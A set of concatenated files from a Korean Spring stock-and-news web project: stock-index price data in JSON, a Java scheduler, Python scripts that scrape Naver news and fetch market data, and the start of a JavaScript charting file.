Change":0.0152},{"Date":"2019-09-03T00:00:00.000Z","Close":620.02,"Open":619.86,"High":623.34,"Low":619.28,"Volume":777380000.0,"Change":0.0003},{"Date":"2019-09-04T00:00:00.000Z","Close":629.31,"Open":619.61,"High":629.31,"Low":619.46,"Volume":792570000.0,"Change":0.015},{"Date":"2019-09-05T00:00:00.000Z","Close":632.99,"Open":633.19,"High":634.96,"Low":631.38,"Volume":948700000.0,"Change":0.0058},{"Date":"2019-09-06T00:00:00.000Z","Close":631.15,"Open":637.33,"High":637.33,"Low":630.6,"Volume":882310000.0,"Change":-0.0029},{"Date":"2019-09-09T00:00:00.000Z","Close":625.77,"Open":633.61,"High":634.3,"Low":625.28,"Volume":709700000.0,"Change":-0.0085},{"Date":"2019-09-10T00:00:00.000Z","Close":623.25,"Open":627.77,"High":628.81,"Low":621.95,"Volume":830370000.0,"Change":-0.004},{"Date":"2019-09-11T00:00:00.000Z","Close":630.37,"Open":625.81,"High":632.42,"Low":624.78,"Volume":718200000.0,"Change":0.0114},{"Date":"2019-09-16T00:00:00.000Z","Close":638.59,"Open":634.67,"High":638.59,"Low":630.16,"Volume":622050000.0,"Change":0.013},{"Date":"2019-09-17T00:00:00.000Z","Close":644.28,"Open":637.1,"High":646.05,"Low":636.0,"Volume":823510000.0,"Change":0.0089},{"Date":"2019-09-18T00:00:00.000Z","Close":645.12,"Open":646.25,"High":648.95,"Low":644.32,"Volume":909110000.0,"Change":0.0013},{"Date":"2019-09-19T00:00:00.000Z","Close":645.71,"Open":646.83,"High":651.45,"Low":643.0,"Volume":867280000.0,"Change":0.0009},{"Date":"2019-09-20T00:00:00.000Z","Close":649.07,"Open":647.5,"High":650.03,"Low":645.91,"Volume":844700000.0,"Change":0.0052},{"Date":"2019-09-23T00:00:00.000Z","Close":645.01,"Open":648.81,"High":649.22,"Low":644.39,"Volume":747640000.0,"Change":-0.0063},{"Date":"2019-09-24T00:00:00.000Z","Close":641.85,"Open":643.45,"High":646.6,"Low":641.17,"Volume":778010000.0,"Change":-0.0049},{"Date":"2019-09-25T00:00:00.000Z","Close":626.76,"Open":641.08,"High":641.23,"Low":626.02,"Volume":987730000.0,"Change":-0.0235},{"Date":"2019-09-26T00:00:00.000Z","Close":628.42,"Open":632.31,"High":635.64,"Low":622.55,"Volume":838490000.0,"Change":0.0026},{"Date":"2019-09-27T00:00:00.000Z","Close":626.93,"Open":628.41,"High":628.41,"Low":623.32,"Volume":724110000.0,"Change":-0.0024},{"Date":"2019-09-30T00:00:00.000Z","Close":621.76,"Open":625.69,"High":627.3,"Low":615.64,"Volume":745970000.0,"Change":-0.0082},{"Date":"2019-10-01T00:00:00.000Z","Close":632.1,"Open":623.7,"High":632.12,"Low":621.76,"Volume":875340000.0,"Change":0.0166},{"Date":"2019-10-02T00:00:00.000Z","Close":624.51,"Open":627.75,"High":630.62,"Low":624.47,"Volume":1250000000.0,"Change":-0.012},{"Date":"2019-10-04T00:00:00.000Z","Close":621.84,"Open":623.08,"High":627.15,"Low":619.53,"Volume":792980000.0,"Change":-0.0043},{"Date":"2019-10-07T00:00:00.000Z","Close":627.21,"Open":625.25,"High":627.82,"Low":622.45,"Volume":753050000.0,"Change":0.0086},{"Date":"2019-10-08T00:00:00.000Z","Close":635.41,"Open":628.03,"High":635.94,"Low":624.92,"Volume":864370000.0,"Change":0.0131},{"Date":"2019-10-10T00:00:00.000Z","Close":634.73,"Open":633.96,"High":635.85,"Low":630.59,"Volume":715230000.0,"Change":-0.0011},{"Date":"2019-10-11T00:00:00.000Z","Close":632.95,"Open":638.22,"High":638.49,"Low":632.92,"Volume":767470000.0,"Change":-0.0028},{"Date":"2019-10-14T00:00:00.000Z","Close":641.46,"Open":638.65,"High":643.41,"Low":637.69,"Volume":681420000.0,"Change":0.0134},{"Date":"2019-10-15T00:00:00.000Z","Close":646.8,"Open":641.51,"High":647.4,"Low":641.49,"Volume":737770000.0,"Change":0.0083},{"Date":"2019-10-16T00:00:00.000Z","Close":651.96,"Open":650.61,"High":652.73,"Low":649.88,"Volume":860250000.0,"Change":0.008},{"Date":"2019-10-17T00:00:00.000Z","Close":649.29,"Open":653.08,"High":654.67,"Low":646.61,"Volume":1040000000.0,"Change":-0.0041},{"Date":"2019-10-18T00:00:00.000Z","Close":646.69,"Open":651.55,"High":651.97,"Low":645.59,"Volume":866090000.0,"Change":-0.004},{"Date":"2019-10-21T00:00:00.000Z","Close":649.18,"Open":646.79,"High":649.18,"Low":645.35,"Volume":767920000.0,"Change":0.0039},{"Date":"2019-10-22T00:00:00.000Z","Close":655.91,"Open":653.17,"High":660.35,"Low":651.1,"Volume":883770000.0,"Change":0.0104},{"Date":"2019-10-23T00:00:00.000Z","Close":658.98,"Open":656.88,"High":660.38,"Low":654.78,"Volume":1030000000.0,"Change":0.0047},{"Date":"2019-10-24T00:00:00.000Z","Close":658.75,"Open":658.53,"High":662.27,"Low":647.53,"Volume":1070000000.0000001192,"Change":-0.0003},{"Date":"2019-10-25T00:00:00.000Z","Close":652.37,"Open":657.6,"High":658.77,"Low":651.29,"Volume":1010000000.0,"Change":-0.0097},{"Date":"2019-10-28T00:00:00.000Z","Close":652.42,"Open":655.05,"High":657.29,"Low":651.95,"Volume":933700000.0,"Change":0.0001},{"Date":"2019-10-29T00:00:00.000Z","Close":658.3,"Open":656.85,"High":658.76,"Low":653.83,"Volume":954720000.0,"Change":0.009},{"Date":"2019-10-30T00:00:00.000Z","Close":655.04,"Open":660.6,"High":660.6,"Low":654.15,"Volume":892700000.0,"Change":-0.005},{"Date":"2019-10-31T00:00:00.000Z","Close":658.52,"Open":658.45,"High":661.65,"Low":656.96,"Volume":892490000.0,"Change":0.0053},{"Date":"2019-11-01T00:00:00.000Z","Close":662.34,"Open":658.16,"High":662.34,"Low":656.13,"Volume":820170000.0,"Change":0.0058},{"Date":"2019-11-04T00:00:00.000Z","Close":668.45,"Open":667.2,"High":669.66,"Low":665.63,"Volume":921190000.0,"Change":0.0092},{"Date":"2019-11-05T00:00:00.000Z","Close":672.18,"Open":669.47,"High":672.18,"Low":666.0,"Volume":987480000.0,"Change":0.0056},{"Date":"2019-11-06T00:00:00.000Z","Close":669.68,"Open":672.12,"High":673.86,"Low":669.25,"Volume":1090000000.0,"Change":-0.0037},{"Date":"2019-11-07T00:00:00.000Z","Close":666.15,"Open":668.73,"High":669.57,"Low":663.7,"Volume":1030000000.0,"Change":-0.0053},{"Date":"2019-11-08T00:00:00.000Z","Close":664.6,"Open":669.34,"High":670.59,"Low":662.46,"Volume":952990000.0,"Change":-0.0023},{"Date":"2019-11-11T00:00:00.000Z","Close":661.37,"Open":666.13,"High":666.13,"Low":658.7,"Volume":922610000.0,"Change":-0.0049},{"Date":"2019-11-12T00:00:00.000Z","Close":665.14,"Open":662.11,"High":665.86,"Low":661.42,"Volume":1080000000.0,"Change":0.0057},{"Date":"2019-11-13T00:00:00.000Z","Close":661.85,"Open":665.37,"High":665.48,"Low":659.95,"Volume":1360000000.0,"Change":-0.0049},{"Date":"2019-11-14T00:00:00.000Z","Close":663.31,"Open":663.25,"High":666.05,"Low":659.21,"Volume":1360000000.0,"Change":0.0022},{"Date":"2019-11-15T00:00:00.000Z","Close":668.51,"Open":662.87,"High":668.54,"Low":660.64,"Volume":1110000000.0,"Change":0.0078},{"Date":"2019-11-18T00:00:00.000Z","Close":669.34,"Open":670.07,"High":671.09,"Low":666.82,"Volume":1090000000.0,"Change":0.0012},{"Date":"2019-11-19T00:00:00.000Z","Close":662.53,"Open":669.11,"High":669.24,"Low":662.24,"Volume":1160000000.0,"Change":-0.0102},{"Date":"2019-11-20T00:00:00.000Z","Close":649.87,"Open":661.45,"High":663.76,"Low":648.82,"Volume":1290000000.0,"Change":-0.0191},{"Date":"2019-11-21T00:00:00.000Z","Close":635.99,"Open":650.56,"High":651.23,"Low":634.29,"Volume":1050000000.0,"Change":-0.0214},{"Date":"2019-11-22T00:00:00.000Z","Close":633.92,"Open":637.99,"High":640.77,"Low":629.74,"Volume":1050000000.0,"Change":-0.0033},{"Date":"2019-11-25T00:00:00.000Z","Close":647.4,"Open":639.5,"High":647.41,"Low":639.5,"Volume":826790000.0,"Change":0.0213},{"Date":"2019-11-26T00:00:00.000Z","Close":651.59,"Open":650.79,"High":653.54,"Low":649.78,"Volume":868850000.0,"Change":0.0065},{"Date":"2019-11-27T00:00:00.000Z","Close":647.39,"Open":653.74,"High":653.87,"Low":646.89,"Volume":859360000.0,"Change":-0.0064},{"Date":"2019-11-28T00:00:00.000Z","Close":640.18,"Open":646.27,"High":649.37,"Low":640.18,"Volume":882470000.0,"Change":-0.0111},{"Date":"2019-11-29T00:00:00.000Z","Close":632.99,"Open":641.72,"High":643.27,"Low":631.4,"Volume":940620000.0,"Change":-0.0112},{"Date":"2019-12-02T00:00:00.000Z","Close":634.5,"Open":635.58,"High":638.35,"Low":632.22,"Volume":845650000.0,"Change":0.0024},{"Date":"2019-12-03T00:00:00.000Z","Close":629.58,"Open":630.07,"High":632.01,"Low":627.0,"Volume":868950000.0,"Change":-0.0078},{"Date":"2019-12-04T00:00:00.000Z","Close":625.27,"Open":626.06,"High":630.45,"Low":622.67,"Volume":928170000.0,"Change":-0.0068},{"Date":"2019-12-05T00:00:00.000Z","Close":617.6,"Open":629.49,"High":629.6,"Low":613.77,"Volume":901710000.0,"Change":-0.0123},{"Date":"2019-12-06T00:00:00.000Z","Close":628.1,"Open":619.48,"High":628.11,"Low":619.48,"Volume":726660000.0,"Change":0.017},{"Date":"2019-12-09T00:00:00.000Z","Close":627.86,"Open":630.6,"High":630.63,"Low":625.59,"Volume":778730000.0,"Change":-0.0004},{"Date":"2019-12-10T00:00:00.000Z","Close":627.11,"Open":627.62,"High":627.76,"Low":623.54,"Volume":763030000.0,"Change":-0.0012},{"Date":"2019-12-11T00:00:00.000Z","Close":629.13,"Open":627.26,"High":630.6,"Low":626.57,"Volume":817890000.0,"Change":0.0032},{"Date":"2019-12-12T00:00:00.000Z","Close":636.94,"Open":632.29,"High":638.92,"Low":631.25,"Volume":941200000.0,"Change":0.0124},{"Date":"2019-12-13T00:00:00.000Z","Close":643.45,"Open":643.34,"High":645.73,"Low":641.87,"Volume":913750000.0,"Change":0.0102},{"Date":"2019-12-16T00:00:00.000Z","Close":644.44,"Open":644.91,"High":646.56,"Low":643.24,"Volume":794170000.0,"Change":0.0015},{"Date":"2019-12-17T00:00:00.000Z","Close":650.58,"Open":646.8,"High":650.58,"Low":646.04,"Volume":851060000.0,"Change":0.0095},{"Date":"2019-12-18T00:00:00.000Z","Close":648.95,"Open":650.87,"High":651.71,"Low":647.73,"Volume":882120000.0,"Change":-0.0025},{"Date":"2019-12-19T00:00:00.000Z","Close":647.85,"Open":650.3,"High":653.65,"Low":645.11,"Volume":808150000.0,"Change":-0.0017},{"Date":"2019-12-20T00:00:00.000Z","Close":649.73,"Open":650.19,"High":651.2,"Low":647.9,"Volume":944570000.0,"Change":0.0029},{"Date":"2019-12-23T00:00:00.000Z","Close":647.62,"Open":651.77,"High":652.81,"Low":646.68,"Volume":725860000.0,"Change":-0.0032},{"Date":"2019-12-24T00:00:00.000Z","Close":638.91,"Open":648.71,"High":648.71,"Low":638.74,"Volume":763090000.0,"Change":-0.0134},{"Date":"2019-12-26T00:00:00.000Z","Close":652.07,"Open":640.77,"High":652.09,"Low":640.2,"Volume":921880000.0,"Change":0.0206},{"Date":"2019-12-27T00:00:00.000Z","Close":661.24,"Open":652.6,"High":661.59,"Low":652.17,"Volume":807710000.0,"Change":0.0141},{"Date":"2019-12-30T00:00:00.000Z","Close":669.83,"Open":662.06,"High":669.83,"Low":661.62,"Volume":789330000.0,"Change":0.013},{"Date":"2020-01-02T00:00:00.000Z","Close":674.02,"Open":672.53,"High":674.3,"Low":666.62,"Volume":783730000.0,"Change":0.0063},{"Date":"2020-01-03T00:00:00.000Z","Close":669.93,"Open":677.57,"High":679.37,"Low":668.1,"Volume":903860000.0,"Change":-0.0061},{"Date":"2020-01-06T00:00:00.000Z","Close":655.31,"Open":660.08,"High":663.1,"Low":653.61,"Volume":884280000.0,"Change":-0.0218},{"Date":"2020-01-07T00:00:00.000Z","Close":663.44,"Open":660.87,"High":664.21,"Low":659.18,"Volume":970310000.0,"Change":0.0124},{"Date":"2020-01-08T00:00:00.000Z","Close":640.94,"Open":657.24,"High":658.14,"Low":637.43,"Volume":1380000000.0,"Change":-0.0339},{"Date":"2020-01-09T00:00:00.000Z","Close":666.09,"Open":657.01,"High":666.09,"Low":656.25,"Volume":980620000.0,"Change":0.0392},{"Date":"2020-01-10T00:00:00.000Z","Close":673.03,"Open":668.79,"High":673.03,"Low":665.92,"Volume":837390000.0,"Change":0.0104},{"Date":"2020-01-13T00:00:00.000Z","Close":679.22,"Open":673.76,"High":679.22,"Low":673.23,"Volume":894400000.0,"Change":0.0092},{"Date":"2020-01-14T00:00:00.000Z","Close":678.71,"Open":682.14,"High":685.88,"Low":676.78,"Volume":897260000.0,"Change":-0.0008},{"Date":"2020-01-15T00:00:00.000Z","Close":679.16,"Open":678.83,"High":681.39,"Low":676.91,"Volume":908210000.0,"Change":0.0007},{"Date":"2020-01-16T00:00:00.000Z","Close":686.52,"Open":679.67,"High":686.52,"Low":679.49,"Volume":880290000.0,"Change":0.0108},{"Date":"2020-01-17T00:00:00.000Z","Close":688.41,"Open":689.73,"High":690.61,"Low":686.68,"Volume":1030000000.0,"Change":0.0028},{"Date":"2020-01-20T00:00:00.000Z","Close":683.47,"Open":690.85,"High":691.17,"Low":682.48,"Volume":1020000000.0,"Change":-0.0072},{"Date":"2020-01-21T00:00:00.000Z","Close":676.52,"Open":683.82,"High":685.89,"Low":675.48,"Volume":1030000000.0,"Change":-0.0102},{"Date":"2020-01-22T00:00:00.000Z","Close":688.25,"Open":677.05,"High":688.28,"Low":677.05,"Volume":1010000000.0,"Change":0.0173},{"Date":"2020-01-23T00:00:00.000Z","Close":685.57,"Open":685.94,"High":687.71,"Low":683.52,"Volume":957780000.0,"Change":-0.0039},{"Date":"2020-01-28T00:00:00.000Z","Close":664.7,"Open":660.79,"High":668.22,"Low":658.78,"Volume":1160000000.0,"Change":-0.0304},{"Date":"2020-01-29T00:00:00.000Z","Close":670.18,"Open":671.08,"High":671.98,"Low":664.09,"Volume":1060000000.0,"Change":0.0082},{"Date":"2020-01-30T00:00:00.000Z","Close":656.39,"Open":670.65,"High":673.17,"Low":652.42,"Volume":1210000000.0,"Change":-0.0206},{"Date":"2020-01-31T00:00:00.000Z","Close":642.48,"Open":660.98,"High":664.77,"Low":641.57,"Volume":1340000000.0,"Change":-0.0212},{"Date":"2020-02-03T00:00:00.000Z","Close":646.85,"Open":631.82,"High":648.34,"Low":627.65,"Volume":1190000000.0,"Change":0.0068},{"Date":"2020-02-04T00:00:00.000Z","Close":661.24,"Open":650.72,"High":661.24,"Low":649.22,"Volume":938250000.0,"Change":0.0222},{"Date":"2020-02-05T00:00:00.000Z","Close":661.32,"Open":666.74,"High":668.91,"Low":658.03,"Volume":991280000.0,"Change":0.0001},{"Date":"2020-02-06T00:00:00.000Z","Close":672.69,"Open":665.94,"High":672.69,"Low":665.88,"Volume":946330000.0,"Change":0.0172},{"Date":"2020-02-07T00:00:00.000Z","Close":672.63,"Open":673.11,"High":674.03,"Low":667.93,"Volume":1020000000.0,"Change":-0.0001},{"Date":"2020-02-10T00:00:00.000Z","Close":676.07,"Open":669.53,"High":676.08,"Low":668.1,"Volume":979100000.0,"Change":0.0051},{"Date":"2020-02-11T00:00:00.000Z","Close":682.34,"Open":678.97,"High":682.34,"Low":678.43,"Volume":1170000000.0,"Change":0.0093},{"Date":"2020-02-12T00:00:00.000Z","Close":686.59,"Open":683.26,"High":686.79,"Low":680.26,"Volume":1330000000.0,"Change":0.0062},{"Date":"2020-02-13T00:00:00.000Z","Close":687.61,"Open":689.54,"High":691.43,"Low":681.77,"Volume":1350000000.0,"Change":0.0015},{"Date":"2020-02-14T00:00:00.000Z","Close":688.91,"Open":687.23,"High":692.0,"Low":685.67,"Volume":1500000000.0,"Change":0.0019},{"Date":"2020-02-17T00:00:00.000Z","Close":692.59,"Open":690.35,"High":692.64,"Low":686.73,"Volume":1520000000.0,"Change":0.0053},{"Date":"2020-02-18T00:00:00.000Z","Close":682.92,"Open":691.42,"High":692.52,"Low":681.44,"Volume":1780000000.0,"Change":-0.014},{"Date":"2020-02-19T00:00:00.000Z","Close":684.78,"Open":686.89,"High":688.11,"Low":673.64,"Volume":1600000000.0,"Change":0.0027},{"Date":"2020-02-20T00:00:00.000Z","Close":681.66,"Open":687.65,"High":688.51,"Low":677.99,"Volume":1460000000.0,"Change":-0.0046},{"Date":"2020-02-21T00:00:00.000Z","Close":667.99,"Open":673.57,"High":680.28,"Low":667.47,"Volume":1430000000.0,"Change":-0.0201},{"Date":"2020-02-24T00:00:00.000Z","Close":639.29,"Open":653.4,"High":656.31,"Low":639.22,"Volume":1480000000.0,"Change":-0.043},{"Date":"2020-02-25T00:00:00.000Z","Close":656.95,"Open":639.28,"High":656.96,"Low":633.65,"Volume":1210000000.0,"Change":0.0276},{"Date":"2020-02-26T00:00:00.000Z","Close":654.63,"Open":644.02,"High":658.29,"Low":642.98,"Volume":1140000000.0,"Change":-0.0035},{"Date":"2020-02-27T00:00:00.000Z","Close":638.17,"Open":654.61,"High":660.89,"Low":634.79,"Volume":1230000000.0,"Change":-0.0251},{"Date":"2020-02-28T00:00:00.000Z","Close":610.73,"Open":626.36,"High":631.25,"Low":608.38,"Volume":1390000000.0,"Change":-0.043},{"Date":"2020-03-02T00:00:00.000Z","Close":627.66,"Open":617.88,"High":627.71,"Low":607.32,"Volume":1190000000.0,"Change":0.0277},{"Date":"2020-03-03T00:00:00.000Z","Close":626.82,"Open":641.65,"High":641.77,"Low":626.71,"Volume":1230000000.0,"Change":-0.0013},{"Date":"2020-03-04T00:00:00.000Z","Close":641.73,"Open":623.75,"High":641.73,"Low":623.55,"Volume":1100000000.0,"Change":0.0238},{"Date":"2020-03-05T00:00:00.000Z","Close":650.19,"Open":647.75,"High":650.81,"Low":643.97,"Volume":1080000000.0,"Change":0.0132},{"Date":"2020-03-06T00:00:00.000Z","Close":642.72,"Open":642.33,"High":647.83,"Low":637.2,"Volume":1110000000.0,"Change":-0.0115},{"Date":"2020-03-09T00:00:00.000Z","Close":614.6,"Open":631.13,"High":632.52,"Low":614.58,"Volume":1320000000.0,"Change":-0.0438},{"Date":"2020-03-10T00:00:00.000Z","Close":619.97,"Open":606.89,"High":619.98,"Low":604.51,"Volume":1430000000.0,"Change":0.0087},{"Date":"2020-03-11T00:00:00.000Z","Close":595.61,"Open":621.12,"High":622.07,"Low":591.38,"Volume":1570000000.0,"Change":-0.0393},{"Date":"2020-03-12T00:00:00.000Z","Close":563.49,"Open":589.2,"High":594.32,"Low":555.47,"Volume":1640000000.0,"Change":-0.0539},{"Date":"2020-03-13T00:00:00.000Z","Close":524.0,"Open":536.62,"High":540.3,"Low":487.07,"Volume":1520000000.0,"Change":-0.0701},{"Date":"2020-03-16T00:00:00.000Z","Close":504.51,"Open":538.68,"High":541.87,"Low":504.51,"Volume":1200000000.0,"Change":-0.0372},{"Date":"2020-03-17T00:00:00.000Z","Close":514.73,"Open":488.02,"High":518.72,"Low":483.51,"Volume":1370000000.0,"Change":0.0203},{"Date":"2020-03-18T00:00:00.000Z","Close":485.14,"Open":520.79,"High":526.1,"Low":485.14,"Volume":1320000000.0,"Change":-0.0575},{"Date":"2020-03-19T00:00:00.000Z","Close":428.35,"Open":501.59,"High":502.12,"Low":419.55,"Volume":1650000000.0,"Change":-0.1171},{"Date":"2020-03-20T00:00:00.000Z","Close":467.75,"Open":443.88,"High":467.75,"Low":435.11,"Volume":1240000000.0,"Change":0.092},{"Date":"2020-03-23T00:00:00.000Z","Close":443.76,"Open":443.51,"High":455.97,"Low":435.81,"Volume":1090000000.0,"Change":-0.0513},{"Date":"2020-03-24T00:00:00.000Z","Close":480.4,"Open":457.21,"High":480.4,"Low":454.24,"Volume":1140000000.0,"Change":0.0826},{"Date":"2020-03-25T00:00:00.000Z","Close":505.68,"Open":496.32,"High":506.43,"Low":488.98,"Volume":1440000000.0,"Change":0.0526},{"Date":"2020-03-26T00:00:00.000Z","Close":516.61,"Open":506.51,"High":533.33,"Low":501.82,"Volume":1650000000.0,"Change":0.0216},{"Date":"2020-03-27T00:00:00.000Z","Close":522.83,"Open":535.94,"High":540.04,"Low":502.48,"Volume":1980000000.0,"Change":0.012},{"Date":"2020-03-30T00:00:00.000Z","Close":542.11,"Open":513.13,"High":542.12,"Low":511.47,"Volume":1430000000.0,"Change":0.0369},{"Date":"2020-03-31T00:00:00.000Z","Close":569.07,"Open":551.48,"High":569.07,"Low":551.25,"Volume":1870000000.0,"Change":0.0497},{"Date":"2020-04-01T00:00:00.000Z","Close":551.84,"Open":568.88,"High":579.76,"Low":551.3,"Volume":1870000.0,"Change":-0.0303},{"Date":"2020-04-02T00:00:00.000Z","Close":551.69,"Open":555.4,"High":558.56,"Low":542.75,"Volume":445560.0,"Change":-0.0003}]}<file_sep>/.svn/pristine/4a/4af3eed747121d853bc128ef33640c6d6b6bcbb3.svn-base
package com.toojaatte.util.scheduler;
import java.io.IOException;
import java.util.Date;
import java.util.List;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.scheduling.annotation.Scheduled;
import org.springframework.stereotype.Component;
import com.toojaatte.news.dto.NewsDTO;
import com.toojaatte.news.service.JsonRead;
import com.toojaatte.news.service.NewsService;
@Component
public class DBSaveScheduler {
@Autowired
private NewsService service;
//파이썬에서 네이버뉴스크롤링해서 json으로 저장한 파일을 매일 오후 5시에 불러와서 db에 저장
@Scheduled(cron = "0 53 09 * * *")
public void newsInsert() throws IOException {
System.out.println("this is scheduler");
System.out.println(new Date());
List<NewsDTO> dto = JsonRead.newsJsonRead();
service.insert(dto);
}
// @Scheduled(fixedRate = 2000) // 수행 시작 기점, 2초 후 실행
// public void fixedRateTest() {
// System.out.println("fixedRate: 2sec -> " + new Date());
// }
// @Scheduled(fixedDelay = 7000) // 수행 종료 기점, 7초 후 실행
// public void fixedDelayTest() {
// System.out.println("fixedDelay: 7sec -> " + new Date());
// }
}
<file_sep>/src/main/resources/com/toojaatte/stock/python/navercrawl.py
import json
import os
from datetime import datetime
import time
from bs4 import BeautifulSoup as bs
import requests
start = time.time()
#네이버뉴스 리스트에 접속해서 뉴스 기사 1개씩의 url 긁어오기
def getURL(date, page):
# 링크 저장할 배열
href = []
for i in range(1, page+1):
baseURL = "https://news.naver.com/main/list.nhn?mode=LS2D&mid=shm&sid2=258&sid1=101&date="+date+"&page=" + str(i)
req = requests.get(baseURL)
# print(req)
soup = bs(req.text, 'lxml')
# print(soup)
# ul tag의 class가 두개로 나뉨
headline = soup.find('ul', {'class': 'type06_headline'})
# print(headline)
aTag = headline.select('li > dl > dt > a')
# print(aTag)
# print(len(aTag))
for a in aTag:
link = a.attrs['href']
# print(link)
href.append(link)
noHeadline = soup.find('ul', {'class': 'type06'})
aTag2 = noHeadline.select('li > dl > dt > a')
for a in aTag2:
link = a.attrs['href']
href.append(link)
href = list(set(href))
# print(href)
# print(len(href))
return href
def getnews(date, page):
newslist = [] # json에 저장할 뉴스 리스트
url = getURL(date, page)
for u in url:
# 1개 뉴스의 정보 dictionary(key,value)
dict = {}
baseURL = u
# print(u)
req = requests.get(baseURL)
soup = bs(req.text, 'lxml')
# print(soup)
# 기사 원본 링크
dict['url'] = baseURL
# print(baseURL)
# 언론사 정보(링크, 사진, 회사명) 소스 통째로
press = soup.find('a', {'class': 'nclicks(atp_press)'})
# print(press)
dict['press'] = str(press)
# 제목
title = soup.find('title').string
pos = title.index(':') # ':네이버뉴스' 잘라내기
title = title[:pos]
# print(title)
dict['title'] = title
# 작성일
write_date = soup.find('span', {'class':'t11'}).string
# print(write_date)
dict['write_date'] = write_date
# # 이미지+캡션 (null일수도 있음)
# image = soup.find('span', {'class':'end_photo_org'})
# print(image)
# 내용 (이미지 포함하여 html 소스로 통째로 가져온다.)
content = soup.select('div#articleBodyContents')
# print(content)
dict['content'] = str(content)
# print(dict)
newslist.append(dict) # 뉴스를 리스트에 추가
# break
print(newslist)
date = datetime.today().strftime("%Y%m%d")
with open(os.path.join('.',
'C:\\Users\\hong\\Documents\\GitHub\\Java_Spring\\toojaatte\\toojaatte\\src\\main\\resources\\com\\toojaatte\\stock\\'
'crawlingtest\\news'+date+'.json'), 'w', encoding='utf-8') as f:
json.dump(newslist, f, ensure_ascii=False, indent='\t')
# # #파일 append할때
# with open(os.path.join('.', 'crawled\\news.json'), 'a', encoding='utf-8') as f:
# #★ json파일 append하면 [][] 리스트뒤에 바로 리스트붙어서 오류남
# #손코딩으로 ]삭제하여 붙여주고 ,붙이고 ]붙임.
# f.seek(0, os.SEEK_END)
# f.seek(f.tell() - 1, os.SEEK_SET)
# f.truncate()
# f.write(',')
# json.dump(newslist, f, ensure_ascii=False, indent='\t')
# # # f.write(']')
# 함수호출-----------------------------------------------------------------------
date = datetime.today().strftime("%Y%m%d")
# date = '20200326'
# print(date)
page = 5
getnews(date, page) # 뉴스리스트 url에 들어갈 날짜와 페이지번호
print("걸린시간 :", time.time() - start)
<file_sep>/target/classes/com/toojaatte/stock/python/kospicrawl.py
# 자동 크롤링 스케줄러
# 금융 api 출처: https://github.com/FinanceData/FinanceDataReader/wiki/Users-Guide
# 스케줄러 : pyinstaller 설치, py를 exe파일로 저장, 스케줄러에서 exe파일을 돌린다. / 파일내 경로는 모두 절대경로로 변경
import matplotlib.pyplot as plt
import FinanceDataReader as fdr
import pandas as pd
from pandas import json_normalize
fdr.__version__
# # 주가지수, 2019년~현재
df_kospi = fdr.DataReader('KS11', '2019')
print(df_kospi)
df_kospi.to_json('C:\\Users\\hong\\Documents\\GitHub\\Java_Spring\\toojaatte\\toojaatte\\src\\main\\resources\\com\\toojaatte\\stock\\crawlingtest\\kospi.json', orient='table')
# print(df_kospi.set_index(['Date', 'Close']))
# time_series_df_kospi = df_kospi[['Date','Close']]
# print(time_series_df_kospi)
df_kospi50 = fdr.DataReader('KS50', '2019')
df_kospi50.to_json('C:\\Users\\hong\\Documents\\GitHub\\Java_Spring\\toojaatte\\toojaatte\\src\\main\\resources\\com\\toojaatte\\stock\\crawlingtest\\kospi50.json', orient='table')
df_kospi200 = fdr.DataReader('KS200', '2019')
df_kospi200.to_json('C:\\Users\\hong\\Documents\\GitHub\\Java_Spring\\toojaatte\\toojaatte\\src\\main\\resources\\com\\toojaatte\\stock\\crawlingtest\\kospi200.json', orient='table')
df_kosdaq = fdr.DataReader('KQ11', '2019')
df_kosdaq.to_json('C:\\Users\\hong\\Documents\\GitHub\\Java_Spring\\toojaatte\\toojaatte\\src\\main\\resources\\com\\toojaatte\\stock\\crawlingtest\\kosdaq.json', orient='table')
df_kosdaq150 = fdr.DataReader('KQ150', '2019')
df_kosdaq150.to_json('C:\\Users\\hong\\Documents\\GitHub\\Java_Spring\\toojaatte\\toojaatte\\src\\main\\resources\\com\\toojaatte\\stock\\crawlingtest\\kosdaq150.json', orient='table')
# 미국지수, 2019년~현재
df_dowjones = fdr.DataReader('DJI', '2019')
df_dowjones.to_json('C:\\Users\\hong\\Documents\\GitHub\\Java_Spring\\toojaatte\\toojaatte\\src\\main\\resources\\com\\toojaatte\\stock\\crawlingtest\\dowjones.json', orient='table')
df_nasdaq = fdr.DataReader('IXIC', '2019')
df_nasdaq.to_json('C:\\Users\\hong\\Documents\\GitHub\\Java_Spring\\toojaatte\\toojaatte\\src\\main\\resources\\com\\toojaatte\\stock\\crawlingtest\\nasdaq.json', orient='table')
# 환율, 1995년~현재
df_usdkrw = fdr.DataReader('USD/KRW','2019')
df_usdkrw.to_json('C:\\Users\\hong\\Documents\\GitHub\\Java_Spring\\toojaatte\\toojaatte\\src\\main\\resources\\com\\toojaatte\\stock\\crawlingtest\\usdkrw.json', orient='table')
df_cnykrw = fdr.DataReader('CNY/KRW','2019')
df_cnykrw.to_json('C:\\Users\\hong\\Documents\\GitHub\\Java_Spring\\toojaatte\\toojaatte\\src\\main\\resources\\com\\toojaatte\\stock\\crawlingtest\\cnykrw.json', orient='table')
df_jpykrw = fdr.DataReader('JPY/KRW','2019')
df_jpykrw.to_json('C:\\Users\\hong\\Documents\\GitHub\\Java_Spring\\toojaatte\\toojaatte\\src\\main\\resources\\com\\toojaatte\\stock\\crawlingtest\\jpykrw.json', orient='table')
# print(df)
<file_sep>/src/main/webapp/js/main.js
/**
*
*/
var jsonDataKospi;
var jsonDataKosdaq;
var jsonDataUsdKrw;
var jsonDataJpyKrw;
var exc = document.getElementsByClassName("exc");
for (var i = 0; i < exc.length; i++) {
if (exc[i].innerText.indexOf("-") >= 0) {
exc[i].style.color = "#687de3";
} else {
exc[i].style.color = "#eb8787";
}
}
function readTextFile(file, callback) {
var rawFile = new XMLHttpRequest();
rawFile.overrideMimeType("application/json");
rawFile.open("GET", file, true);
rawFile.onreadystatechange = function() {
if (rawFile.readyState === 4 && rawFile.status == "200") {
callback(rawFile.responseText);
}
}
rawFile.send(null);
}
readTextFile("/upload/crawlingtest/kospi.json", function(text) {
jsonDataKospi = JSON.parse(text).data;
})
readTextFile("/upload/crawlingtest/kosdaq.json", function(text) {
jsonDataKosdaq = JSON.parse(text).data;
})
readTextFile("/upload/crawlingtest/usdkrw.json", function(text) {
jsonDataUsdKrw = JSON.parse(text).data;
})
readTextFile("/upload/crawlingtest/jpykrw.json", function(text) {
jsonDataJpyKrw = JSON.parse(text).data;
})
function drawKospiChart() {
var data = new google.visualization.DataTable;
data.addColumn("string", "date");
data.addColumn("number", "close");
for (i = jsonDataKospi.length - 30; i < jsonDataKospi.length; i++) {
